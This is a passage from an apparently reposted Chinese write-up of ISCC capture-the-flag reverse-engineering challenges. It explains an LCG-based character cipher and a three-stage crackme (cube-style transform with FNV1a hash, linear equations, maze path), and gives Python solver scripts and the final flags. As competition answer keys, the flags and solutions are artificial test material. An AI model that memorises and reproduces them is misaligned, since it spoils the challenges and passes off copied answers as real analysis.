0x14003F018: 60 58 36 31 4b 52 4a 78 41 58 50 3a 50 42 64 50 35 67 5c 6e
3. 算法还原
核心是一个 LCG + 可打印字符域映射,不是哈希。
state = seed; // 0x2f
for (i = 0; i < 20; i++) {
state = state * 0x41C64E6D + 0x3039; // 32-bit
rnd = ((state >> 24) & 0xFF) % 95; // 取最高字节后模95
enc[i] = ((plain[i] - 0x20 + rnd) % 95) + 0x20;
}
memcmp(enc, target, 20);
说明:
你看到的 0x58ED2309 是编译器对 %95 的“乘法+移位”优化,不是第二套加密。
0x5c 0x6e 是字符 \ 与 n,不是换行符。
4. 逆向推导
由上式直接逆:
plain[i] = ((enc[i] - 0x20 - rnd) % 95 + 95) % 95 + 0x20;
用 seed=0x2f 和目标 20 字节逆出中间串:
M(WfZiK@aQRn%Ut#- A]
最终 flag:
ISCC{M(WfZiK@aQRn%Ut#- A]}
POC
# solve_re1.py
seed = 0x2F
enc = bytes.fromhex("60 58 36 31 4b 52 4a 78 41 58 50 3a 50 42 64 50 35 67 5c 6e")
assert len(enc) == 20
state = seed
plain = []
for c in enc:
state = (state * 0x41C64E6D + 0x3039) & 0xFFFFFFFF
rnd = ((state >> 24) & 0xFF) % 95
p = ((c - 0x20 - rnd) % 95) + 0x20
plain.append(p)
inner = bytes(plain).decode("ascii")
flag = f"ISCC{{{inner}}}"
print("inner =", inner)
print("flag =", flag)
RE2
1) 题目流程
程序分三关输入 password1/password2/password3,最终输出:
ISCC{password1password2password3}
三关对应逻辑:
- Stage1:
sg6j - Stage2:
d5n7 - Stage3:
s6m8
2) Stage1 逆向
Stage1 要求:
- 长度必须为 8
- 字符范围
0x21..0x7E - 先用魔方风格块变换(8字节分组 + PKCS#7 + Base64)
- 对结果做
FNV1a32 - 满足
(h ^ MASK) == EXPECT_OBF
其中 key 是 XOR 混淆存储,解密为:
R U F R' D2
对于本题对应版本,第一段口令为:
XZCRVAWE
其哈希可复算为:
h = 0xF9DD350B
3) Stage2 逆向
Stage2 参数来自 Stage1 哈希 h:
-
g_a[i] = base_a[i] + ((h >> (i*6)) & 0x3) -
base_a = [2,3,4,5,6] -
seed = h ^ 0x12345678 -
LCG:
state = state * 1664525 + 1013904223 -
生成:
-
x1 = state%10 -
x2..x5 = 10 + state%90
用户输入 9 位数字,解析成:
x1一位x2,x3,x4,x5各两位
并满足:
e1 = a1*x1 + x2 + x5e2 = x1 + a2*x2 + x3e3 = x2 + a3*x3 + x4e4 = x3 + a4*x4 + x5e5 = x1 + x4 + a5*x5
代入本题 h 计算可得唯一解:
437581536
4) Stage3 逆向
迷宫 seed:
seed = atoi(password2) ^ (h * 0x9E3779B1)
迷宫生成规则:
- 从
(0,0)到(3,3) - 每步只会走
R或D - 由 LCG 的最低位决定优先方向
- 额外开路判断条件恒假(不会生效)
因此路径是确定的,得到:
RDRDRD
5) 最终结果
password1 = XZCRVAWEpassword2 = 437581536password3 = RDRDRD
最终 flag:
ISCC{XZCRVAWE437581536RDRDRD}
poc
# solve_re2_full.py
import base64
MASK = 0xA5A5A5A5
PW1 = "XZCRVAWE"
def fnv1a32(bs: bytes) -> int:
h = 0x811C9DC5
for b in bs:
h ^= b
h = (h * 0x01000193) & 0xFFFFFFFF
return h
def invert_perm(p):
inv = [0] * 8
for old, nw in enumerate(p):
inv[nw] = old
return inv
def add_mask(idxs, k):
a = [0] * 8
for i in idxs:
a[i] = k
return a
def build_moves():
mv = {}
mv["R"] = {"perm":[0,5,2,1,4,7,6,3], "add":add_mask([1,3,5,7],1)}
mv["L"] = {"perm":[2,1,6,3,0,5,4,7], "add":add_mask([0,2,4,6],2)}
mv["U"] = {"perm":[0,1,6,2,4,5,7,3], "add":add_mask([2,3,6,7],3)}
mv["D"] = {"perm":[1,5,2,3,0,4,6,7], "add":add_mask([0,1,4,5],4)}
mv["F"] = {"perm":[0,1,2,3,6,4,7,5], "add":add_mask([4,5,6,7],5)}
mv["B"] = {"perm":[1,3,0,2,4,5,6,7], "add":add_mask([0,1,2,3],6)}
mv["R'"] = {"perm":invert_perm(mv["R"]["perm"]), "add":add_mask([1,3,5,7],7)}
mv["L'"] = {"perm":invert_perm(mv["L"]["perm"]), "add":add_mask([0,2,4,6],8)}
mv["U'"] = {"perm":invert_perm(mv["U"]["perm"]), "add":add_mask([2,3,6,7],9)}
mv["D'"] = {"perm":invert_perm(mv["D"]["perm"]), "add":add_mask([0,1,4,5],10)}
mv["F'"] = {"perm":invert_perm(mv["F"]["perm"]), "add":add_mask([4,5,6,7],11)}
mv["B'"] = {"perm":invert_perm(mv["B"]["perm"]), "add":add_mask([0,1,2,3],12)}
return mv
def pkcs7_pad(data: bytes, block=8) -> bytes:
pad = block - (len(data) % block)
if pad == 0:
pad = block
return data + bytes([pad]) * pad
def expand_key(key: str, moves):
seq = []
for tok in key.upper().split():
times = 1
if tok.endswith("2"):
times = 2
tok = tok[:-1]
if tok not in moves:
raise ValueError(f"Unknown token: {tok}")
seq.extend([tok] * times)
return seq
def apply_move(block, ms):
tmp = [ (block[i] + ms["add"][i]) & 0xFF for i in range(8) ]
out = [0] * 8
for old in range(8):
out[ms["perm"][old]] = tmp[old]
return out
def k1c7(plain: str, key: str) -> str:
moves = build_moves()
seq = expand_key(key, moves)
data = pkcs7_pad(plain.encode(), 8)
out = []
for i in range(0, len(data), 8):
blk = list(data[i:i+8])
for m in seq:
blk = apply_move(blk, moves[m])
out.extend(blk)
return base64.b64encode(bytes(out)).decode()
def decode_stage1_key() -> str:
enc_key = [
ord('R') ^ 0x5A, ord(' ') ^ 0x5A, ord('U') ^ 0x5A, ord(' ') ^ 0x5A,
ord('F') ^ 0x5A, ord(' ') ^ 0x5A, ord('R') ^ 0x5A, ord("'") ^ 0x5A,
ord(' ') ^ 0x5A, ord('D') ^ 0x5A, ord('2') ^ 0x5A
]
return"".join(chr(x ^ 0x5A) for x in enc_key)
def lcg(st: int) -> int:
return (st * 1664525 + 1013904223) & 0xFFFFFFFF
def derive_stage2_from_h(h: int):
base_a = [2,3,4,5,6]
g_a = [base_a[i] + ((h >> (i*6)) & 0x3) for i in range(5)]
st = h ^ 0x12345678
x = []
for i in range(5):
st = lcg(st)
if i == 0:
x.append(st % 10)
else:
x.append(10 + (st % 90))
pw2 = f"{x[0]}{x[1]:02d}{x[2]:02d}{x[3]:02d}{x[4]:02d}"
g_e = [0]*5
g_e[0] = g_a[0]*x[0] + x[1] + x[4]
g_e[1] = x[0] + g_a[1]*x[1] + x[2]
g_e[2] = x[1] + g_a[2]*x[2] + x[3]
g_e[3] = x[2] + g_a[3]*x[3] + x[4]
g_e[4] = x[0] + x[3] + g_a[4]*x[4]
return g_a, g_e, x, pw2
def check_stage2(pw2: str, g_a, g_e) -> bool:
if len(pw2) != 9 or not pw2.isdigit():
return False
x1 = int(pw2[0])
x2 = int(pw2[1:3])
x3 = int(pw2[3:5])
x4 = int(pw2[5:7])
x5 = int(pw2[7:9])
e1 = g_a[0]*x1 + x2 + x5
e2 = x1 + g_a[1]*x2 + x3
e3 = x2 + g_a[2]*x3 + x4
e4 = x3 + g_a[3]*x4 + x5
e5 = x1 + x4 + g_a[4]*x5
return [e1,e2,e3,e4,e5] == g_e
def build_maze(seed: int):
maze = [0] * 16
idx = lambda x, y: y*4 + x
st = (seed ^ 0x9E3779B9) & 0xFFFFFFFF
x = 0
y = 0
maze[idx(x,y)] = 1
path = []
while not (x == 3 and y == 3):
st = lcg(st)
canR = x < 3
canD = y < 3
if canR and canD:
move = 'R'if (st & 1) else'D'
elif canR:
move = 'R'
else:
move = 'D'
if move == 'R':
x += 1
else:
y += 1
maze[idx(x,y)] = 1
path.append(move)
# 源码里的 “随机额外开路” 条件恒假:(r % 100) < -0.1
return maze, "".join(path)
def check_stage3(pw3: str, maze) -> bool:
x = 0
y = 0
idx = lambda x, y: y*4 + x
for c in pw3:
if c == 'L': x -= 1
elif c == 'R': x += 1
elif c == 'U': y -= 1
elif c == 'D': y += 1
else: return False
if x < 0 or x >= 4 or y < 0 or y >= 4:
return False
if maze[idx(x,y)] == 0:
return False
return x == 3 and y == 3
def main():
key = decode_stage1_key()
cipher = k1c7(PW1, key)
h = fnv1a32(cipher.encode())
expect_obf = h ^ MASK
g_a, g_e, x, pw2 = derive_stage2_from_h(h)
seed3 = (int(pw2) ^ ((h * 0x9E3779B1) & 0xFFFFFFFF)) & 0xFFFFFFFF
maze, pw3 = build_maze(seed3)
assert check_stage2(pw2, g_a, g_e)
assert check_stage3(pw3, maze)
print("stage1 key =", key)
print("stage1 cipher =", cipher)
print("stage1 hash h =", hex(h))
print("inferred EXPECT =", hex(expect_obf))
print("stage2 x =", x)
print("stage2 password =", pw2)
print("stage3 seed =", hex(seed3))
print("stage3 password =", pw3)
print("FLAG = ISCC{" + PW1 + pw2 + pw3 + "}")
if __name__ == "__main__":
main()
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《isCC 非武部分Wp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论